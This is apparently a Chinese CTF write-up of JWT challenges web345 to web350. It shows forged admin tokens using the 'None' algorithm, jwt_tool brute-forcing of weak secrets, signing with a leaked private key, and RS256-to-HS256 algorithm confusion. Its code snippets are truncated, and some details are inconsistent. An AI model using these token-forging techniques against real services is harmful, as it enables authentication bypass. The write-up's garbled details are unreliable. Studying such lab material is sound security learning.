##web345
题目提示admin
看cookie有一个JWT
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NDc4OTc5OTEsImV4cCI6MTc0NzkwNTE5MSwibmJmIjoxNzQ3ODk3OTkxLCJzdWIiOiJ1c2VyIiwianRpIjoiZTYxYzdkYWZjOGZiNDFjNWUwYjg4Y2MxZDE1Nzk4YmQifV0
解析之后是:{"alg":"None","typ":"jwt"}.[{"iss":"admin","iat":1747897991,"exp":1747905191,"nbf":1747897991,"sub":"admin","jti":"e61c7dafc8fb41c5e0b88cc1d15798bd"}]
这里没有签名部分所以只需要改sub
部分为admin
再经过一个base64编码就可以
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0uW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NDc4OTc5OTEsImV4cCI6MTc0NzkwNTE5MSwibmJmIjoxNzQ3ODk3OTkxLCJzdWIiOiJhZG1pbiIsImp0aSI6ImU2MWM3ZGFmYzhmYjQxYzVlMGI4OGNjMWQxNTc5OGJkIn1d
然后再去访问/admin/
目录即可
web346
有加密算法,使用jwt_tool爆破密钥123456
修改sub为admin 然后访问/admin/
目录
JWT工具介绍
使用方法:
1 | # 使用None算法 |
1 | # 自定义修改生成 |
1 | # 使用字典破解 |
1 | # 指定密码测试 |
爆破出正确密钥
自定义修改内容
1 | python3 jwt_tool.py JWT_HERE -T |
eg:
再选择要修改的部分就行了
最后就会生成jwt token
web347
爆破密钥123456
web348
爆破出密钥aabb
web349
源码泄露,可以看到公钥和私钥被放在了web目录,直接访问/public.key
和/private.key
下载
公钥用来解密,私钥用来加密,所以编写脚本使用私钥加密
1 | import jwt |
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM
web350
下载源码,只有公钥没有私钥,那就把加密算法改为对称加密算法
将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。